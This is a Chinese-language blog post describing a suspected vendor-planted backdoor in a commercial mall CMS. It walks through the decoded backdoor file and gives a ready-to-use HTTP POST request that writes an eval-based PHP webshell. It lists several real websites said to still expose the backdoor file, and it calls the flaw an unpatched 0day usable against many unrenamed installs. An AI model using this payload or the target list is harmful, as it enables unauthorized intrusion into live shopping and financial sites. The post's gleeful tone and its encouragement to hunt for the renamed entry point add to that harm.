起始

这个后门是在去年的某次渗透测试中发现的,但是因为时间点比较敏感,客户也未修复,就还未披露。

他们在中央的网站都留了后门,银行的也留,影响了一大批人,真是官方刺激!

其中包括官网上如下的网站:

远丰集团旗下CMS疑有官方后门

实际上这些只是很少的网站,更多的是官网未写明但是依然使用的小客户。同时因为它涉及的是金融,所以影响较大。本来是不打算说出去的,但是客户早就已经修复了,同时似乎也说了出去,导致一些国有网站也修复了。现在影响力不大了,就打算发出来。

实际上这依然是0day,因为我没有提交给任何漏洞平台。之所以不提交是我认为这可能只是一个官方设计好的“功能”,至于是不是后门,各位看官看完之后自己分析,我就不多嘴了。

分析

后门文件地址:/lib/smarty/plugins/function.php

远丰集团旗下CMS疑有官方后门

这是一个很简单的加密,单纯的base64加密。这里我给出我解密好且修改了格式的文件下载链接

这里我们直接看我解密好的代码:

远丰集团旗下CMS疑有官方后门

我们可以看到,第一个红框是一个简单的判断,判断$codelock_file是否等于空,否则就直接结束。如果直接访问这个文件,毫无疑问会断在这里。但是我们先假设这个地方能过。继续看下面的红框里面的代码。

第二个红框的代码是用extract$_REQUEST导入了当前的变量表。这代表接下来除了二次赋值的地方,所有的变量都是可控的。第3个红框则是用fopen打开了一个文件,它的两个参数$codelock_filed$codelock_enc都是可以利用之前的extract控制的。

接下来第4个红框则是开始了写文件,写入的内容是$codelock_masterdata,我们依然可以控制它。

这代表我们可以利用这个文件去写一个后门。

那么我们回到一开始的问题,在extract前面的第一个红框,那里我们控制不了$codelock_file,程序显然会结束在这,那么接下来的都是无法实现的。

聪明的朋友肯定想到了,既然有这个后门,必然有调用的地方。

我们继续搜索,找到了这个文件\lib/smarty/plugins/modifier.config.php

远丰集团旗下CMS疑有官方后门

我们找到了调用的地方,在这里给$codelock_file赋值,并且接下来include了这个文件。

我们可以构造exp如下:

远丰集团旗下CMS疑有官方后门

POST /mallbuilder/lib/smarty/plugins/modifier.config.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 145 codelock_filed=.&codelock_mastersize=3&codelock_act=3&codelock_enc=XiaoZe.php&codelock_masterdata=<?php @eval($_POST[X]);?>

即可在当前目录下写入文件XiaoZe.php.

效果如图:

远丰集团旗下CMS疑有官方后门

成功拿下shell。

总结

这是后门吗?这个问题给交给各位看官们自己想,我处于不惹麻烦的角度,就不多bb了。就提出一些我认为的一些疑点。

1.这为什么不猜测为是黑客故意留下的后门呢?

远丰集团旗下CMS疑有官方后门

结合解密之后的疑似后门的文件剩下的代码来看,各种变量的赋值。我个人认为是厂商开发出来对付盗版的方法。不属于黑客入侵后留下的后门。

2.这是什么版本的?在哪可以下载到完整版本?

这是人家的商业cms,不是开源的,要是我直接发出来怕不是就律师函警告了。但是可以给大家一个参考地址:http://down.admin5.com/php/98938.html

3.为什么我在官方的好几个客户案例上利用这个漏洞失败了,不是你说的 0day 吗?

对,这是0day,我一直没有提交,因为考虑到可能是正常的业务需求是吧?至于为什么没有利用成功呢,是因为这个问题是我在去年做项目的时候发现的。当时的客户是某大网站,成功利用这个后门打下来了。官网上的所有演示站点都可以秒,但是处于影响过大和客户还未修复的考虑,就一直没有说出来。最后客户修复了,但是这个问题传给了开发商,然后就所谓的“修复”了。

4.那不就是没有卵用的么?你说这么多不就是说了废话?修复的漏洞还是0day?

当然不是这样的,我们随便找几个个官方上面写的成功案例:

http://www.lcego.com/lib/smarty/plugins/function.php  http://www.hqw360.com//lib/smarty/plugins/function.php  http://www.czh568.cn/lib/smarty/plugins/function.php  http://www.wksc.com/shop/lib/smarty/plugins/function.php 

等等,都可以看到这个页面:

远丰集团旗下CMS疑有官方后门

后门依然是存在的,但是为什么无法利用呢?

还记得我上面说了,官方修复了么?

那为什么官方修复了,这个后门没有删呢?

很简单啊,因为这个“后门”它们自己还要用啊,所谓的“修复”就是把利用的接口也就是modifier.config.php这个文件改了个名而已。

5.那利用接口改成什么名字了呢?

这我就没办法透露了,只能让各位自己去寻找了。毕竟这个cms还是商场,光是他官网的客户案例里面就有不少很大的网站了。说实话,要是官方不改名,我都还不敢写这篇文章,要不然怕不是又是律师函警告。

6.那说白了我们还不是用不了这个漏洞!辣鸡!

话不是这么说滴,虽然官方给他们的大客户们都改了接口名,但是很多盗版“客户”就没有改名了,这依然是0day,特别是各种微信商场,基本都是用这个框架,简直是各种屠杀呢~

7.那这到底是不是官方留的后门?

这个问题我在最后着重强调,我肯定不知道这是不是后门,我认为这肯定是正常的业务逻辑对吧?上面写的只是我的个人猜想,最后是不是后门,还要给各位看官自己鉴别了。

*本文作者:温酒